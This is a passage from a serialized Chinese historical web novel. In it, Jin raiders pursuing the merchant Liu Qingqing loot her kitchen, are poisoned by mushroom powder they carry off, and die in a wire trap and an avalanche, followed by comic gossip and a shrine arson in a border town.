好家伙,边城金帐缺粮少食,这小小的厨房里却米面酱醋,一应俱全,橱柜里分门别类的摆放着晒干的青菜,蘑菇,薄荷,萝卜,咸菜有水豆豉,油豆腐,大蒜根,甚至还有薄荷糖,玫瑰糖,桃花酥等糕点,肉类自然是不缺的,在窗子下的大缸里冻着呢。 当看到灶头上陶盆里一盆肥敦敦黄生生的豆芽菜,眼泪不争气的从嘴角留了下来,大冬天的,这点子新鲜的菜蔬,才是最最珍贵的佳肴。 本来他想简单对付一口的,可是手脚不自主的生火蒸饭起来,一口锅蒸了米饭、馒头,一口锅热起猪骨汤,一应蔬菜洗干净丢进去熬煮,再另烧一锅热油,放上花椒姜片肉桂豆蔻香叶爆香,舀上一大勺红彤彤的豆瓣酱,翻炒得香味四溢,浇在滚沸的骨头汤上,然后把解冻切好的牛肉片,羊肉片一并倒入锅中,滚上两滚,就在锅边用筷子捞了吃起来。 小小的厨房挤着二十多号人,都是些糙汉子,也不讲究什么,手脚利索的抢了双筷子捞在碗里吃,因这是刘青青常驻的厨房,总共备了十双筷子,其他人没筷子,不拘盆也好,罐子也好,弄一个来,大勺捞起肉菜便唏哩呼噜的用手抓了吃。 西旺原本焦急去追人,可佟参议那厮一望见那盆草,如同发情的沙牛看见了牯牛,就眼睛长在菜上,走不动道,嘴里嘀咕着吃饱肚子才有力气干活,死活不愿意离开。 弄了几个人去打探方向后,把剩下的人使唤得团团转,吩咐这个洗菜,那个揉面,连他也被派了去切肉,还被要求切成刀片一样的薄片。 赵人的菜刀实在够呛,他使不来,看着四周兴奋忙碌的手下,也不好发作阻拦,从靴筒里扯出匕首来切肉片。反正人都跑了几个时辰,一时半会也追不到,下头的兄弟们饿了大半年,能好好吃一顿也行,即便抓不到人,有佟参议在上头顶着,若王子发怒,把他推出去便是。 许是饿久了,今日吃的牛肉羊肉,竟比平时的味道好多了。 平时的羊肉的膻味很足,嚼着柴,今日的羊肉却爽嫩滑香,入口汁水横流,就是那点子不起眼的杂草也脆生生,甜丝丝,鲜得让人恨不得连舌头吞掉。 光吃肉菜,感觉差了些什么,大家学着佟参议的样子,从冒着热气的甑子里,舀上一盆晶莹剔透的白米饭,再把爽辣鲜香的汤汁浇上去,每一粒米饭都泡在油晶晶的红汤里,麻辣鲜香烫着舌头,顺着食道流入胃腑,暖着全身,冰天雪地里,大家伙吃的热气腾腾,满嘴流油,西旺打了个满足的嗝,这才是人过的日子! 趁大家埋头苦吃,佟参议寻来个布袋,把蒸的白面馒头一股脑的倒进袋子里,另寻了个袋子把糖糕也倒了进去,藏在羊皮衣下。 西旺看见,眉毛几乎要竖起来,好呀,谁不晓得糖甜啊,好不容易遇到个富户,他一个人就把好东西霸了,哪有这样的道理,放下碗筷就准备动手。 佟参议好似后背长了眼睛,冷哼一声:“我们倒是吃饱喝足了,外头追击敌人踪迹的兄弟还饿着呢,这点子糖也只够他们垫个底,你们谁都不能和他们抢,肚子还没装满的,再把锅里掺点水,弄点面片吃。” 适才准备动手的人,心里顿时惭愧不已,经常一起完成任务的勇士,他们都忘记了还有同袍在雪地里奔袭,倒是这个新上任的佟参议记得他们饿着肚子,有这样把他们放在心上的上司,其实也挺不错。 没吃饱的几个壮汉也不蛐蛐了,弄点水加在锅里,等水滚后搅了一锅面片汤,倒一点橱柜里的咸菜放上,也挺香。 临走佟参议不忘提醒:“看看有能带的吃的,方便携带,不影响行动的,弄点回去,给亲友打打牙祭也行。” 这个厨房食材丰富,干净整齐,到处都是刘青青生活的痕迹,将它乱扫一空,破坏这种有序,佟参议有种莫名的报复爽感。 有了上官的发话,大家一窝蜂的把厨房翻了个底朝天,把能吃的都弄身上带走了,带不走的也砸碎了,就连醋,因在罐子里不好携带,被个弓箭手倒在自己的水囊里装着。 大家取笑他没见过好东西,有着雪白的盐巴不抢,弄了这个酸不拉几没用的东西,这个弓箭手反舌相讥:“你们懂个屁,老子婆娘踹了崽儿,就喜欢这个味!” 佟参议看着乱糟糟的厨房,台面到处是砸烂的瓦罐碎片,各种调料泼洒得白一片,红一片,黑一片,地面掺杂了踩碎叶子的泥水,锅里冒着油污的碗盆,掉了一个活页歪到一边咯吱咯吱摇晃的橱柜门,一切的一切,看着是那么的赏心悦目,有种破败的美感,他露出一丝莫名的笑意:“走吧,兄弟们,我们现在去追击敌人,将她活捉回大帐,以后这样的饭菜,要多少,有多少!” 原本对他爱理不理的金人,却变得异常热情,他一招呼,柜子也不翻了,鼻子也不冷哼了,大家呼啦一声,围着他朝着院子外面走去。 落在最后的西旺,后知后觉的发现,刚才兄弟们好似没看他的眼色行事? 第185章 第185章两路追击 出了村子便是岔路口,皑皑白雪中,两条笔直的道路指向了完全不同的方向,一条南下,一路畅通无阻,直达大赵上京,另一条指向山洼,从两山之间通过,回到茫茫草原。 派出去的斥候恰好回到此处,佟参议疾步迎上去,掏出怀里还带着热气的馒头,递给奔来的几人:“兄弟们辛苦了,先趁着热气垫吧垫吧肚子再说!” 这时段,无论什么能果腹的都珍贵异常,更何况是精细的白面做的馒头。几人小心的捧着手里的馒头,软软的,散发着小麦特有的甜香。 在寒风里来回奔袭的怨气也散了大半。 斥候们知道轻重,哪里敢让人久等,几人把馒头塞进怀里,对着佟参议拱手回禀:“报大人,我们根据印记发现,他们从院子里出来后,坐了雪橇直接出村,四个人分了两驾雪橇,一路南下,一路北上。 两边留在雪地里的车辙印记一模一样,我们实在分辩不出来,刘青青在哪边车上!” 佟参议面上露出一副果然如此的表情。 不待他做出决策,西旺从后面站了出来,越过佟参议,立在正中央:“何苦娘们一般斤斤计较,分辩不出来便算了,赵人一向胆小懦弱,更何况她一女子,肯定吓得去上京找皇帝小儿做主去了。我们只需一路往南,穷追猛赶,定能将她活捉回来!” 无论雪橇还是马车的机动性,对于他们马背上长大的勇士来说,一切都是笑话。 被阴阳怪气的佟参议面上没有半点不满,就事论事摇摇头,“此去上京,一路再无天险强将,她没有能投奔的地儿,能护她的人儿,我琢磨着她肯定北上了。” 剩下的话他没说,为何北上,因为边城里杵着一尊猛将,金人对他恨得牙痒痒,却奈何不了他。 此次带队的两 位头领产生了分歧,顿时队伍里的气氛紧张起来。 大家同西旺相处的更多些,情感上更愿意跟着他并肩作战,可是这次带队的一把手是佟参议,而且吃人最短,才吃了人家做的暖汤热饭,实在不好张口反驳。 大家默契的低头看脚,或抬头看天,不愿意主动表态,或者说,不愿意为事败背锅。 西旺看到往日同生共死的兄弟们不吭声,心里升起一股被背叛的恼怒,好哇,都是些没骨头的贱人,才一顿饭就被收买了。 若大家顺着他说几句,向以往那样竖着拇指夸他有勇有谋,是最厉害的金人勇士,他也就罢了,随便走哪条,如今大家做出这样犹豫不决的样子,他拗脾气越发上来,不管刘青青有没有南下,他是一定要南下的! 能抓住那个叫刘青青的赵商便抓,若抓不住,干脆潜伏入京,刺杀赵人皇帝,那才是泼天的功劳。 当然,他也是在心口自嗨一下,皇帝躲在重重宫里,哪里那么好杀。但是,上京那么多细皮嫩肉丰腴肥美的夫人小姐,随便弄两个回来,也比刘青青一个黑瘦商人,更有价值,更得王子的心。 他能有这样的想法,归根结底,还是没把赵青青当一回事,在他们心里,女人和牛羊一样,都是他们的附庸,若男主人喜欢了,不过能多换几头牛,不喜欢了,如同雪地里的野草,不值一文。佟新灶那厮,花言巧语哄着大王子非要把人活捉,他也不能违逆了大王子的意,如今产生了分歧,那便各走各的吧。 佟参议眼角闪过讥讽,大方让步:“西旺兄说的很有道理,她确实可能吓破了胆,一路躲回自己的老巢,这样好了,我们干脆兵分两路,你我各带着一半的兄弟追击,我北你南,这样就万无一失了,如何?” 真当自己天下无敌了,如今深入赵国境内,还这么自大放肆,就让他们自己去感受大赵百姓的热情好客吧。 计策已定,佟新灶随手一拨,领着外围那一圈人,命他们跟自己北上,这些都是不怎么亲近西旺的,更容易收拢一些。 西旺也领着自己的核心成员,一路寻踪觅迹南下。 雪花又飞飞扬杨落了下来,待他们走后约摸半天,村口大石头后的雪地动了一下,露出一个小小的洞口,一双警惕的眼睛朝四周看了看,没发现问题,洞口忽然掀开,依次从里头穿出四个人影,正是刘青青等人。 要是佟新灶在此处,必然大吃一惊。 四人既没有北上,也没有南下,就躲在村口处的雪窝子里。与他们谈话的地方不过相继二十丈。 这个雪窝子是他们早挖好的,几人坐着雪橇出村,利用头顶的树枝做的机关,在此处将雪橇上的人换成了裹了石头的衣裳,而他们也坐着机关传送到雪窝子里,棉花黑炭的狗朋友们自然按照之前的训练,将载着石头的雪橇拉着分别南下北上。 再厉害的斥候,只能发现地面的蛛丝马迹,也没法发现,他们会长翅膀飞走了。 毕竟,智能自动驾驶雪橇的技术,不是谁都能掌握的。 粮商李老板拍拍自己咚咚跳个不停地心脏,他离残暴的金人只有二十丈远,差一点,只差一点,他就成了金人的刀下亡魂。 不得不佩服刘青青的先见之明,早早的把这个藏身的雪洞修好,又准备了李代桃僵的机关。 绸缎商孙东家也对刘青青感激不已,嘴里不停地夸。 刘青青赧然一笑:“各位兄长言重了,其实我也想逃跑来着,只是往南,我们小小商人,又不擅打架逃跑,迟早被金人追上,往北万一不小心落在金人刺客手中,也是羊落虎口,躲起来才是正经。” 几人分析一番,果真这样才是最把稳的。 钱庄王掌柜双手一击:“贤妹,那现在我们如何是好?难道继续回雪窝子呆着么?” 大冷的天,雪窝子里只有点干粮,冻得硬邦邦的,牙都快磨平了。他们又不敢生火,生怕被金人斥候发现,饥寒交迫,实在受罪。 刘青青面上露出一个古怪的表情:“我们回村子呆着吧,他们应该,不会再来了!” 啊? 不会再来是什么意思? 孙掌柜几人面面相觑。 都是过命的交情了,刘青青也不卖关子:“北上的金人肯定要乔装混进边城,我已经让棉花去传信,边城那边就等着瓮中捉鳖呢。” “南下的,区区十五人而已,大赵的百姓对他们恨之入骨,他们那几个想来是高高在上的金人武士,身形高大威猛,举止和我们差异较大,只要不瞎都能发现他们的异常,送上门的功劳,那些个当官的闻着味就来了。” 其实还有一点她没说,他们隐约听到,金人将她的厨房连锅端了,她橱柜里不仅有好食材,还有好药品,她为了防身,弄了些鹅膏菌粉防身,怕棉花黑炭淘气偷吃,用个瓷罐子装了藏在橱柜的顶层最里边,适才听他们谈话,已经将她的厨房搜刮一空,只怕那瓶粉也带走了,因为要密封,那个瓷瓶做工蛮精美的,想来被西旺等人搜刮了去。 鹅膏菌粉撒一点吊汤是顶顶鲜美的,北边应该没几人晓得,那东西的毒性,吧? 虽说刘青青信誓旦旦说金人不会再回来了,几个掌柜东家依旧心有恍恍的,不愿意继续在这里冒险,干脆拉上刘青青换个村子猫着,顺便把下手的五六十个伙计召回来守着以防金人杀个回马枪,反正粮草都筹集得差不多,他们在一处协调运作就可以。 却说西旺也很谨慎的,领着队伍一直在荒郊野外,不敢走人烟密集的地方。 带着人手跟随雪橇印记,紧追慢赶三天,越来越近,痕迹越来越新鲜,只要再半天就能追到,这时斥候来报,雪橇竟在冻起来的河面正中央消失不见了!!!对岸上找不到雪橇的痕迹。 他奶奶个老子! 他们得出一个结论,许是雪橇载人太重,一起沉入了河里,但生不见人,死不见尸,西旺实在不甘心,主要是没法回去交差。 没奈何,几个壮汉用刀柄在雪橇痕迹消失的地方砸个个洞,好在冰面较薄,砸得不费力,不一会就露出冰面下潺潺的流水,一伙子壮汉换着人跳下去捞尸。 带的干粮都吃完了,几个壮汉都是打猎的好手,河边搭了个窝棚,每日间弄些野兔山鸡来烤了吃,撒上从小院厨房里弄来的调料,雪白的盐巴,黑褐的胡椒,红彤彤会咬舌头的辣椒,香味异常浓郁。 美中不足的是,没有口热汤喝,这日西旺忍不住了,砍了一颗老竹架在火上,河里捞的鱼砍小放在竹筒中,捧上干净积雪放在火堆上烤,不一会,竹筒里的雪花便化成晶莹的水滚起来,将怀里瓷瓶里的各种调料撒上去,粒粒分明没有苦涩味的盐巴,乳白的味极鲜,淡黄色的姜粉,一股子药味的当归粉,果然鱼汤变得雪白浓郁,香味扑鼻,鲜美异常,终是喝了口热汤,浑身暖洋洋的。 尸体许是被冲走了,一直没找到,只寻到一架破破烂烂的雪橇,和挂在雪橇上的一件掉色的绸袍。 也算有个交代。 他抱着绸袍,袍子细腻的手感好似帐篷里女人的肌肤,让人爱不释手,他忍不住吐出一口血来,老天不公平啊,他也想住在温暖的屋子里,天天吃着热乎乎的饭菜,他有什么错呢? 可是老天为何不放过他呢,他转过头看着身后的窝棚,兄弟们好似陷入了癫狂,每人面上都带着笑,有手舞足蹈的,有抱着大树唱歌的,有拿着刀到处砍的,他又吐了,温热的血落在绸缎袍子上,那不是袍子,那是在帐篷里等他回去的女人,他开心的搂着袍子闭上了眼。 第186章 第186章利用势能 佟新灶领着一队勇士,在雪野狂奔,修整喝水都是趁着斥候确认方向的时候。果然,雪橇一路北上,他们眼看着拉载着紫袍的人影消失在峡谷的尽头。 这条让人闻风丧胆的峡谷他早有耳闻,声响大一些就会引发雪崩,亿亿万斤的冰雪铺天盖地滚下来,下面的人插翅难飞,他望着己方脚下的皮靴, 一步一个坑,十五人一起奔袭,步伐若重合在一起,杀气四溢,恩,说人话,就是,咚咚咚的脚步声像擂鼓,直接敲击在人的心口上。两方对冲的时候效果蛮好,现在么,他吸了口凉气,扫过两边的积雪,那是雪崩的前奏曲。 难道要再次攀顶峰绕行么,一来一去前面的刘青青早就躲到乌龟壳里去了。 他眯着眼看着地上两条车辙印,半响,眼前一亮,他们没有雪橇,但可以划过去啊,只要不走路就行! 他招呼队伍每人寻来两片薄薄的木片,将前头弯了翘起来,然后用布带缠在脚下,杵着棍子试探的划拉了两下,除了重心不稳摔了两个狗吃屎,声响是真的小,转了两圈熟练后,划得很快,比他们跑步省力多了,唯一不好的地方就是风呼啸着从耳边吹过,眼睛像被刀子凌迟了一般。 这些汉子本身身手矫健灵泛,互相掺扶总结了一下技巧,用了半刻钟,各人划得如履平地,佟新灶召集大家用围巾把嘴巴全部捂起来,严肃叮嘱:“记住,前面的山谷不可弄出一丝声响,必须静悄悄的,就是天大的事,也不要高声喧哗,等出谷了再说!” 一高个大汉杵在棍往后用力一登,丝滑的在他们身边转了一圈,笑道:“放心吧,佟参议,你这计策好使,我们都晓得雪崩的厉害,就是死也不会吭声的!” 佟新灶眼皮跳了两跳,这话听着不太吉利。 万事俱备,只差活捉仇人,他岔开话题:“行了,闲话少扯,我们捉住人就回大帐领赏,大家一定小心谨慎,出发!” 他长了的心眼,假装紧鞋带,落在了后面。 一行人如同离弦的箭冲进了峡谷官道。 两边是高耸入云的雪壁,不时发出让人心惊胆战的咔嚓冰裂声,佟新灶一路提心吊胆,左顾右看,终于熬到前方的露出的一线蓝天。 快了,快了,只要再十个呼吸,他们就能冲出峡谷,追上前面的快速移动的紫色身影。 可是,飞奔的紫色身影却停了下来,那人转过身,她雪白的手掌还在脖子上划拉了一下, 对他露出一个讥笑,鲜红的嘴巴吐出几个字:“你死定了!” 该死,他听不到那人的声音,可是读懂了她的唇语。 佟新灶惊疑不定减缓了速度,掏出身后的长刀,浑身紧绷青筋毕露戒备着四周未知的攻击。 但是,在他前面那些飞溜的金人武士,却突然分成了好几片冲了出去。 是的,好几片,没有看错。 你能想象么,就像切萝卜一样,他们的腿还在木板上沿着雪地向前快速的滑动,上身却变成了两片,或者三片,飞出一段距离才落下,离他们的腿还有好远好远的距离,像锯开的柴火,再也不能拼凑回去,身体不同的片在雪地里开出大片大片殷红色的花,甚至来不及惨叫,果然应验了那句话,死都不发出一声。 佟新灶肝胆俱裂,他知道刘青青诡计多端,擅邪门歪道,但是这样能在百丈之外将人切片绞杀,实在过于耸人听闻,他吓得两股战战,恨不得立刻长出翅膀飞走,偏偏好似被施了定咒一般,筋酸腿软,没有半点力气。 这一刻,他心中只有一个想法,他要远远地,离那妖孽远远的,什么大王子,什么刘青青,什么两国之战,与他何干。 如若上苍在给他一次机会,他便远离这些纷纷扰扰,寻一处世人找不到的地方,安安稳稳过完下辈子。 他吓傻的呆头鹅一般杵了半响,发现,令人害怕至极的切刀并没有落在他的身上,定下心神才发现,再往前五六十步的空中,人高的空中横七竖八拉着许多冒着寒光的细线,之前他们飞奔过来,没有发现,现在上面沾染了红色的血迹,在一片白雪中,散发着渗人的光芒。 他控着棍子划近前,小心翼翼探出手摸了一下,冰凉的触感告诉他,这就是一条极细极锋利的铁线。下意识松了口气,原是那厮设置的机关,并不是什么不可战胜的妖法。 一瞬间,无边的恐惧被戏耍的恼怒覆盖,浑身又被熊熊怒火充满,恢复了力量,他紧握利刃,矮身从纵横交错的细线阵中穿过去,眼中只有那抹紫色的身影。 这残暴歹毒的妖女,适才还和他说笑的十一人,霎那间就死于非命,今日非要废了她那双作恶多端的手不可。 佟新灶后面还有三名武士忙收拢心神,赤红着眼,越过他一起冲杀。死的,都是他们浴血奋战的同袍。 那人跃上高高的马背,看到他们三人,淡漠的眸子里闪过一抹可惜。 可惜什么,可惜没把他们全军覆灭么? 佟新灶心肝脾胃肺都快气炸了,高高举起了手中的利刃,快了,只有三十步了。 马上那人半点不惧,轻飘飘的举起了手:“准备……放” 她身后的赵军跑到她的前面,亮出无数张冒着寒光的弓箭,准备令下,无数张弓拉成满月,随着轻飘飘一声放,万只箭矢流星一般破空而来。 佟新灶早在看见弓箭手那一刻便滚身下扑,左避右闪,四周是无遮挡的旷野,只有后撤躲回山谷官道。 他提气咬着牙掉头跑出残影,后面箭矢一支支落在他的脚后跟,最后用力一扑,躲进那白雪峭壁下。 对方显然没打算放过他,不断有箭矢逼近。 既然你要赶尽杀绝,就不要怪我拉着你一起陪葬,佟新灶闪身躲在一个大松树后面,放声大吼:“刘青青,我要你死无葬身之地,嗷吘……” 他的怒吼惊起无数飞鸟,头顶两侧摇摇欲坠的冰雪也发出沉闷的喀拉声,裹挟着以千斤之势奔涌而下。 雪,最终还是要崩下来的。 外面赵军退到安全线外,看着因雪崩飞起的遮天蔽日的白色雪尘,感叹大自然的伟大,人类的渺小,也在咒骂,官道又断了,不过没关系,边城里现在有足够吃的。 紫色裙袍的人却对着一片雪地大喝出声:“我是男是女都分不清,打了半天,临死了也不知道老子是郭守云,这样的蠢货必败!!” 说完,郭守云双手一扯,便把上身的紫色外袍甩掉,漏出肌肉结扎的上身,还一边喊着金寇必败转了两圈,让在场的士兵,看清楚他的性别,生怕他们误会了去。 虽然大家伙挺不明白好好的,为什么要在雪地里脱衣服,但郭守云的话语,无疑是振奋人心的,举着手中的弓箭,同喝出声:“金寇必败,金寇必败!” 等大家伙看得差不多了,郭守云才慢丝调理的合拢内衫,重新穿起紫色裙袍,又成了一个清贵美人。 回城的路上,郭守云耳尖翘着,细听士兵们讨论,都是他的机智聪明的夸奖,没听到刘青青的蛐蛐,他的心放回了肚子,嘴角不自觉翘了起来。 棉花早早寻到了他,他稍微一问,便知晓刘青青遭到了袭击,那一刻他浑身的血液好似冰冻了一般,窒息得几乎喘不过气来,当棉花汪汪刘青青躲起来了,坏人走了,他的血才又重新流动起来,心脏恢复了跳动。 这一刻,他深深的懊悔,为什么不把人带到边城来,而不是像现在分隔两地,那边有点事,这边只能干瞪眼焦急,半点手插不上。 那些可恨的金人,为何对她这么一柔弱的女子下此毒手。 他想破脑袋,也不知道为什么那些人要抓刘青青,为了吸引他们,他干脆作女装打扮,对外宣称自己就是刘青青。 棉花还带来了锋利的细铁线,他一看见便明白了刘青青的计策,之前两人在一起讨论过如何击破金人骑兵的机动性,只需在他们冲锋的道 路上,横上细小的锋利的铁线,他们巨大往前冲的惯性,就会导致自己就被割伤。 他提前再山谷出口下坡段两边埋上树桩,横着绷直铁线,对方自己就往上撞,如切瓜砍菜一般。 只是,这种方法太过残暴,他怕被人知道是刘青青想出来的主意,蛐蛐刘青青心狠手辣,最毒妇人心,干脆将这事往自己身上揽。 民间对于聪慧的女孩子总是充满了恶意,若这事是他干的,那些口无遮拦的人最多喷他对敌人赶尽杀绝,但换到了刘青青头上,只会骂她妖孽歹毒,他不允许刘青青受到一丝伤害,无论是身体上的,还是精神上的,她为了这块破碎的土地那么殚精竭力了,希望这块土地上的庸碌百姓回报给她的只有温暖,没有诋毁。 回了城的士兵们晚餐的时候还在吹嘘今日这一小捷,虽才斩杀了十四人,一人下落不明。打了这么久,常见的面孔都认识的,这些人都是金人王帐里的武士,身手不凡,今日却被全歼,而且他们一点伤亡也没有,放空了的箭矢除了被雪埋的部分,剩下的都捡了回来,可以说是不费一兵一卒,像是出去闲逛了一圈。 说着说着,话题转到郭守云白花花的上身上,几个兵士取笑:“这人性子有些乖僻,打完胜仗喜欢脱衣服嗦,而且是只白斩鸡,不过,他身上那些肌肉如何练的,不大不小,蛮顺眼的!”一黑壮的百夫长说完,鼓起自己的手臂,好大一坨肌膀子,相好的嫌粗鲁吓人。 “他背上的刺画也很酷!”另一个瘦瘦的小兵羡慕,他也想刺一个。 郭荣端个碗挤了进来凑热闹,“哦,什么画?你画出来,我帮你刺。” 小兵记性蛮好,指头沾了口水在桌子上画了出来。 “傻子,那是小篆郭守云三字,我在将军书房里见过!”郭荣瞟了一眼,随口解释。 “哦,荣哥,那是字么,看着弯弯的,还以为是画呢?”小兵絮絮叨叨,“原来郭少侠的背上刻的是他的名字啊,可是我叫牛小二,也刻这个么,好像不太好听,不行,我要重新刻一个,嗯,就刻大赵必胜吧!” 百夫长是个混不吝的,回嘴:“算了吧,到时候你儿子读你的背上的字,只会读:大必,好听吗?” 牛小二瞬间涨红了脸,扭头找郭荣拿主意。 郭荣却好似想到了什么,最爱的饭也不吃了,仍了饭碗鬼撵一般跑了,还一边跑一边哭:“找到了,找到了!” 第187章 第187章好大儿 这突来的变故将喧嚣的饭堂变得落针可闻,大家面面相觑,习惯了郭荣副将的混不吝,肋骨断了也照常嬉笑怒骂,插混打岔,突然嚎啕大哭,画风突变,实在是怪渗人的。 是牙齿酸的渗人。 大家都下意识的没考虑是金人的问题,因为若是金人打了进来,郭副将,或者,在座的所有人,只要还有口气,还能动,都会骂一句直娘贼贼老金,然后喝完最后一口热汤,抄起家伙往死里干。 他们已经做好了时刻马革裹尸的准备。 疑,他最后喊着找到了,找到什么了? 距离真相最近的牛小二恍然大悟,跳起来喊:“我晓得了!” “他看见我画的刺青,才喊找到了,刺青是郭小东家背上的,听说打小就有,所以找到的是郭小东家!” 百户若有所指:“诶,你们发现没,郭小东家也姓郭哦,和郭荣副将一个姓!” 牛小二又跳起来:“我知道,我知道,郭小东家是郭副将失散多年的亲兄弟!” 百户是个老油条,斜乜着牛小二,重重在他脑门上蹦了个脑瓜子:“牛二啊牛二,你可真二啊,动动你的牛脑子,郭荣是边城农户的余孤,全家被金人残害,剩下他一人,因他嘴馋偷吃了姐姐做月子的鸡蛋,怕被打藏在鸡窝里睡着了躲过一劫,哪来的亲兄弟!” 大家愣了一下,竟不知,人前谈笑风生的郭荣副将出身这样凄惨。 可怜还在襁褓的小婴儿,该死的金人。 嗨,这边城,谁不是没爹少娘的呢,大家默了一会,避过这个话题。 催促百户:“你还知道什么内幕消息,莫要藏着掖着的,快说快说!” 众人巴巴的看着他,牛小二眼色足足的给他倒了杯水润嗓。百户蹲在凳上,压低了声音,分析得头头是道:“你们看,郭少东家今年十八,郭荣三十四,我听说,他当年可是有个看对眼的姑娘的,有没有可能,……”说完挤挤眼。 哦! 原来是这样! 大家伙在饭堂里挤眉弄眼,吹嘘着羡慕着,不愧是能当副将的人,果然厉害,悄无声息的弄来这么大一儿子,难怪喜极而泣呢。 于是,在郭守云不知道的情况下,整个边城都晓得,他有个年轻不管事的爹,即便这个爹抛弃了他们娘两,但他听闻渣爹有难,也不辞万里,从南边历尽千辛赶来退敌,还默不吭声,不愿多解释,真是顶顶孝顺的一个孩子啊。 这孩子喜欢穿女装,原来是因为从小跟着娘长大,爹是一天没见过,被当女儿养了,嗨,可怜的娃! 算了,谁还没有点小毛病呢,大家伙一起宠着吧,他爱穿裙子就穿吧,有的人还亲切的喊她东家姑娘。 而还从没牵过女孩手的郭荣副将,喜提好大儿。 因曾向着城南豆腐张家姑娘献殷勤,成了远近闻名的渣男,抛妻弃子,招蜂引蝶,朝三暮四,实在渣的彻底。 短短半日,郭守云莫名觉得大家对他和蔼亲热了许多,当然还有点他不明白的怜悯?他很可怜么,需要怜悯? 也是,他自嘲的一笑,这么大一把年纪,心上人还像颗老松树一样不解风情,他实在可怜。 而另一边的郭荣,奔到书房才想起过郭志城带人出去清野了,回到同袍队伍中,发现一起奋战的同袍变得阴阳怪气,话里话外都带刺,他想找个人分享这份天大的好消息,奔去临街的豆腐铺子里。 到了后发现天变了,已经答应送他一块手帕的张家豆姐儿,又翻脸不认人,还拿洗脚水泼他。 虽然豆姐儿的洗脚水也像豆姐儿一般香喷喷的,让人欢喜,但大庭广众下,他也不好意思舔啊,他用袖子擦干脸,心里嘀咕一句,要是私下的话,让他喝洗脚水他是很愿意的。 郭荣浑身难受,不晓得哪里又惹豆姐儿不开心,难道豆姐儿嫌弃他不干净么? 天老爷,他现在三天跳河搓澡一次,再多,那要把他冻死。脸上青一阵白一阵,天人交战一番,冷水泡澡和喝甜蜜蜜的洗脚水,硬气的男人都会作出选择,老老实实扯了毛巾子又去跳河,豆姐儿说了,干净整洁眼里有活才是男儿最好的嫁妆。 不提他如何把全身上下搓下一层泥,然后屁颠颠去哄着豆姐儿讨要洗脚水喝。 也是事儿赶到了一块儿,夜里的时候,城边的土地庙里竟然失火了,街上铛铛铛的敲起走水了的锣声,除了在守城墙的,剩下的百姓民众抄起桶盆一窝蜂的往南城跑,边跑边喊救火。 边城的土地庙一开始供奉的是土地神福德正神,后来不知道从什么时候开始,供奉了寻不到家人的牺牲士兵的遗物,到现在,战场上不在了的士兵,在这里的石碑上都有小小的一席之地,他们可能是才入伍的半大小子,也可能是没人认识的暗探,京城里的达官贵人记不住他们,受他们庇护安宁生活的百姓不知道他们,但是,这个小小的土地庙,会一只记住他们,只要边城在一天,他们便在一天,世代受香火供奉。 边城百姓有事没事,都要去土地庙上一柱香虔诚的拜一拜,那是对亲人的怀念,也是对逝人的追悼,更是对未来的期许。 土地庙香火一惯旺盛,为消除火宅隐患,郭志城下令将原来的木头牌位换成了石碑,供奉的也只有香火鲜花。 今日这火起得突兀,只怕是歹人作祟。 郭荣等几名副将碰头嘀咕了几句,分开三路人行事,一路加强城门城墙的防守,一路将县衙后罩房围成铁通一般——里边存放着从关内运出来的粮食,昨日官道崩塌,通路不晓得又要到什么时候。 一路由郭荣带队,亲自赶往土地庙,看看是哪来的魑魅魍魉敢在太岁头上动土。 他们到的时候,火势已经灭了,房顶被烧没了一个角落,房梁也塌了下来,打在刻了名字的石碑上,郭荣看着缺了一角的石碑,面上爬上了深深的黑气。 他痛心的把石碑一角捡起来,拼回一起,石头没了承托力,骨碌碌又滚落地上,烈士的名字又被分成了两半,像那名少了腿的军士一样,无声的在哭泣。 这些该死的贼寇,连死了的同袍也被他们搅得不得安息! 庙祝是一位断臂的老人,浑浊的眼里滚下热泪,掉了牙凹陷的嘴唇焦急的述说着:“我日日小心照料 着这里,就是怕扰了他们的安宁!” “那些该死的狗杂种,东巷的王大,西巷的陈二,带着一伙子人,翻墙把老汉我绑了,嘴里堵了抹布,吵吵嚷嚷着庙里的香火熏瞎了他们的眼睛,要我赔钱,大人您是知道的,土地庙从不收香银子,小老儿裹了香换几口吃食度日,哪晓得这些混账没弄到银钱,便放火烧庙,可怜那些去了地下也不得安宁的小子们啊!” “东巷王大,西巷陈二?”不是金人?难道是想错了? 郭荣眉头皱成个川字:“他们平时做什么勾当?” 乡邻们左一句,有一句,拼凑出了几个人的画像。 “王大陈二几人没什么正经勾当,整天东游西逛的,前天还窝在东巷里烤土豆吃,那香味,我隔了个院子都能闻到。我们聚在一起骂娘,蛐蛐朝廷还不送军粮来,没个酒嘴里淡出鸟来!”东巷王婶生怕这个隔房的侄儿连累自己,把知道的都说了。 “上个月断粮,他们把我家养了三年的小黄狗给套了去,我上门讨个说法,他们叫嚷要是我再啰嗦,把我也煮了吃!”西巷的陈十八怕怕的告状,二堂哥当时看他的眼神可吓人了,像是狼看到兔子一般。 “他,他们还来敲我的窗,说,只要我开窗,就送我绸子,要不是我婆母拿着菜刀赶他们走,我,我早就一头撞死了!”北巷抱着懵懂幼儿的年轻寡妇一脸的悲泣。 …… 也就是说,这伙子人都是些地痞流氓,整日斗鸡走狗,滋扰乡邻,他们不事生产,但手里又有财物。 平时还能偷鸡摸狗,现在整个边城都被管控了粮食,他们哪来那么多的土豆考了吃? 身边的记粮官连忙凑到他耳边低语:“百姓们干了活便发土豆,有些百姓自己不吃,剩下的可以找其他人换东西。” 民间私下可以用银子换土豆,他们计粮官真的管不到。 郭荣嗯了一声,带着人一脚踢开王大家的房门,里头已经人去屋空,剩下一地狼藉。 几人搜寻一番,只寻到半箱子的皮毛。 郭荣刀尖挑着一条狐狸领围脖冷笑:“哟,这是金人的埋的钉子啊,难怪他们不缺银子,都是金人给的。” 这些人放火烧土地庙,指不定弄什么调虎离山的计策,他太阳穴突突直跳,想到城里大半的百姓都在这里,连忙高声安抚部署:“各为乡亲,火势已经被完全扑灭,这些人是金人的细作,待赶走了金人,我们重新为牺牲的将士们修建一座遮风避雨的坚固房屋,现在,请大家回到城墙上,各司其职,保护我们的家园不要被金人破坏!” “你们放心,我们现在就是搜遍全城,一定会把歹人抓出来,让他们在土地庙前以死谢罪。” 他们胆敢欺负士兵遗孤,已经够死八百回了。 大家伙一听,连忙跑回自己分到的职位上去,搬运滚石的,烧滚水的…… 郭荣领着人先去几个薄弱城墙上侦查一番,没发现异常,寻思着歹人会躲到哪里去,一拍脑袋,昨天不是跑来条大白狗找郭守云么,大白狗叫棉花什么的,很通人性,借来抓人正合适! 第188章 第188章劫持 边城闹出这么大的动静,郭守云也没闲着,趁着混乱摸到了粮库,和守粮库的副将打了个招呼,施施然带着棉花走了进去。 